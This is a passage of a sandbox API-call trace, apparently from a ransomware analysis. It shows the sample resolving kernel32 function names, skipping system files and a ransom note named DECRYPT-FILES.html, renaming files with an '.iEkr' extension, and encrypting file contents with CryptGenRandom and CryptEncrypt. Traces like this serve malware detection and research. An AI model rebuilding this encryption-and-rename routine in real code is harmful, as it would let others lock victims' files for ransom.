returned="CreateSymbolicLinkTransactedA" [0149.137] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0149.137] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0149.137] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0149.137] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0149.137] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0149.137] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0149.137] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0149.137] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0149.137] lstrlenA (lpString="CREATETHREAD") returned 12 [0149.137] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0149.137] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0149.137] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0149.137] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0149.137] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0149.137] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0149.137] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0149.137] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0149.137] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0149.137] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0149.137] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0149.137] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0149.137] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0149.138] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0149.138] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0149.138] wsprintfW (in: param_1=0x38be7e4, param_2="%s.%s" | out: param_1="C:\\588bce7c90097ed212\\Graphics\\Setup.ico.iEkr") returned 45 [0149.138] MoveFileExW (lpExistingFileName="C:\\588bce7c90097ed212\\Graphics\\Setup.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\setup.ico"), lpNewFileName="C:\\588bce7c90097ed212\\Graphics\\Setup.ico.iEkr" (normalized: "c:\\588bce7c90097ed212\\graphics\\setup.ico.iekr"), dwFlags=0x0) returned 1 [0149.139] VirtualFree (lpAddress=0x2d20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0149.139] VirtualFree (lpAddress=0x2d30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0149.140] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0149.140] FindNextFileW (in: hFindFile=0x3b81200, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5b5e7f00, ftCreationTime.dwHighDateTime=0x1ca927c, ftLastAccessTime.dwLowDateTime=0x5b5e7f00, ftLastAccessTime.dwHighDateTime=0x1ca927c, ftLastWriteTime.dwLowDateTime=0x5b5e7f00, ftLastWriteTime.dwHighDateTime=0x1ca927c, nFileSizeHigh=0x0, nFileSizeLow=0x2796, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="stop.ico", cAlternateFileName="")) returned 1 [0149.140] lstrcmpiW (lpString1="stop.ico", lpString2="DECRYPT-FILES.html") returned 1 [0149.140] lstrcmpiW (lpString1="stop.ico", lpString2="autorun.inf") returned 1 [0149.140] lstrcmpiW (lpString1="stop.ico", lpString2="boot.ini") returned 1 [0149.140] lstrcmpiW (lpString1="stop.ico", lpString2="desktop.ini") returned 1 [0149.140] lstrcmpiW (lpString1="stop.ico", lpString2="ntuser.dat") returned 1 [0149.140] lstrcmpiW (lpString1="stop.ico", lpString2="iconcache.db") returned 1 [0149.140] lstrcmpiW (lpString1="stop.ico", lpString2="bootsect.bak") returned 1 [0149.140] lstrcmpiW (lpString1="stop.ico", lpString2="ntuser.dat.log") returned 1 [0149.140] lstrcmpiW (lpString1="stop.ico", lpString2="thumbs.db") returned -1 [0149.140] lstrcmpiW (lpString1="stop.ico", lpString2="Bootfont.bin") returned 1 [0149.141] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\") returned 31 [0149.141] lstrlenW (lpString="stop.ico") returned 8 [0149.141] lstrcpyW (in: lpString1=0x38befe4, lpString2="C:\\588bce7c90097ed212\\Graphics\\" | out: lpString1="C:\\588bce7c90097ed212\\Graphics\\") returned="C:\\588bce7c90097ed212\\Graphics\\" [0149.141] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\Graphics\\", lpString2="stop.ico" | out: lpString1="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned="C:\\588bce7c90097ed212\\Graphics\\stop.ico" [0149.141] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0149.141] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\stop.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5f4 [0149.141] GetFileSizeEx (in: hFile=0x5f4, lpFileSize=0x38be7b0 | out: lpFileSize=0x38be7b0*=10134) returned 1 [0149.141] CreateFileMappingW (hFile=0x5f4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x5f8 [0149.141] MapViewOfFile (hFileMappingObject=0x5f8, dwDesiredAccess=0x2, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2d20000 [0149.207] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x20, pbBuffer=0x2d10000 | out: pbBuffer=0x2d10000) returned 1 [0149.207] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x8, pbBuffer=0x2d10020 | out: pbBuffer=0x2d10020) returned 1 [0149.207] VirtualAlloc (lpAddress=0x0, dwSize=0x108, flAllocationType=0x3000, flProtect=0x4) returned 0x2d30000 [0149.207] CryptEncrypt (in: hKey=0x68c9e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d30000*, pdwDataLen=0x38be718*=0x28, dwBufLen=0x100 | out: pbData=0x2d30000*, pdwDataLen=0x38be718*=0x100) returned 1 [0149.208] VirtualAlloc (lpAddress=0x0, dwSize=0x1001, flAllocationType=0x3000, flProtect=0x4) returned 0x2d40000 [0149.208] VirtualFree (lpAddress=0x2d40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0149.208] UnmapViewOfFile (lpBaseAddress=0x2d20000) returned 1 [0149.209] CloseHandle (hObject=0x5f8) returned 1 [0149.209] SetFilePointerEx (in: hFile=0x5f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.209] WriteFile (in: hFile=0x5f4, lpBuffer=0x2d30000*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x38be738, lpOverlapped=0x0 | out: lpBuffer=0x2d30000*, lpNumberOfBytesWritten=0x38be738*=0x108, lpOverlapped=0x0) returned 1 [0149.210] CloseHandle (hObject=0x0) returned 0 [0149.210] CloseHandle (hObject=0x5f4) returned 1 [0149.211] VirtualFree (lpAddress=0x2d30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0149.211] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0149.211] GetTickCount () returned 0x3a903 [0149.211] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0149.212] lstrlenW (lpString="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890") returned 62 [0149.212] VirtualAlloc (lpAddress=0x0, dwSize=0x10, flAllocationType=0x3000, flProtect=0x4) returned 0x2d20000 [0149.212] VirtualAlloc (lpAddress=0x0, dwSize=0x7e, flAllocationType=0x3000, flProtect=0x4) returned 0x2d30000 [0149.212] lstrlenA (lpString="kernel32.dll") returned 12 [0149.213] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0149.213] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0149.213] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0149.213] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0149.213] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0149.213] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0149.213] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0149.213] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0149.213] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0149.213] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0149.213] lstrlenA (lpString="ADDATOMA") returned 8 [0149.213] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0149.213] lstrlenA (lpString="ADDATOMW") returned 8 [0149.213] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0149.213] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0149.213] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0149.213] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0149.213] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0149.213] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0149.213] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0149.213] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0149.213] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0149.214] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0149.214] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0149.214] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0149.214] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0149.214] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0149.214] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0149.214] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0149.214] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0149.214] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0149.214] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0149.214] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0149.214] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0149.214] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0149.214] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0149.214] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0149.214] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0149.214] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0149.214] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0149.214] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0149.214] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0149.214] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0149.214] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0149.214] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0149.214] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0149.214] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0149.214] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0149.214] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0149.214] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0149.215] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0149.215] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0149.215] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0149.215] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0149.215] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0149.215] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0149.215] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0149.215] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0149.215] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0149.215] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0149.215] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0149.215] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0149.215] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0149.215] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0149.215] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0149.215] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0149.215] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0149.215] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0149.215] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0149.215] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0149.215] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0149.215] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0149.215] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0149.215] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0149.215] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0149.215] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0149.215] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0149.215] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0149.216] lstrlenA (lpString="BACKUPREAD") returned 10 [0149.216] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0149.216] lstrlenA (lpString="BACKUPSEEK") returned 10 [0149.216] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0149.216] lstrlenA (lpString="BACKUPWRITE") returned 11 [0149.216] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0149.216] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0149.216] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0149.216] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0149.216] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0149.216] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0149.216] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0149.216] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0149.216] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0149.216] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0149.216] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0149.216] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0149.216] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0149.216] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0149.216] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0149.216] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0149.216] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0149.216] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0149.216] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0149.216] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0149.216] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0149.216] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0149.216] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0149.217] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0149.217] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0149.217] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0149.217] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0149.217] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0149.217] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0149.217] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0149.217] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0149.217] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0149.217] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0149.217] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0149.217] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0149.217] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0149.217] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0149.217] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0149.217] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0149.217] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0149.217] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0149.217] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0149.217] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0149.217] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0149.217] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0149.217] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0149.217] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0149.217] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0149.217] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0149.217] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0149.217] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0149.217] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0149.218] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0149.218] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0149.218] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0149.218] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0149.218] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0149.218] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0149.218] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0149.218] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0149.218] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0149.218] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0149.218] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0149.218] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0149.218] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0149.218] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0149.218] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0149.219] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0149.219] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0149.219] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0149.219] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0149.219] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0149.219] lstrcpyA (in: lpString1=0x38bdb2c, 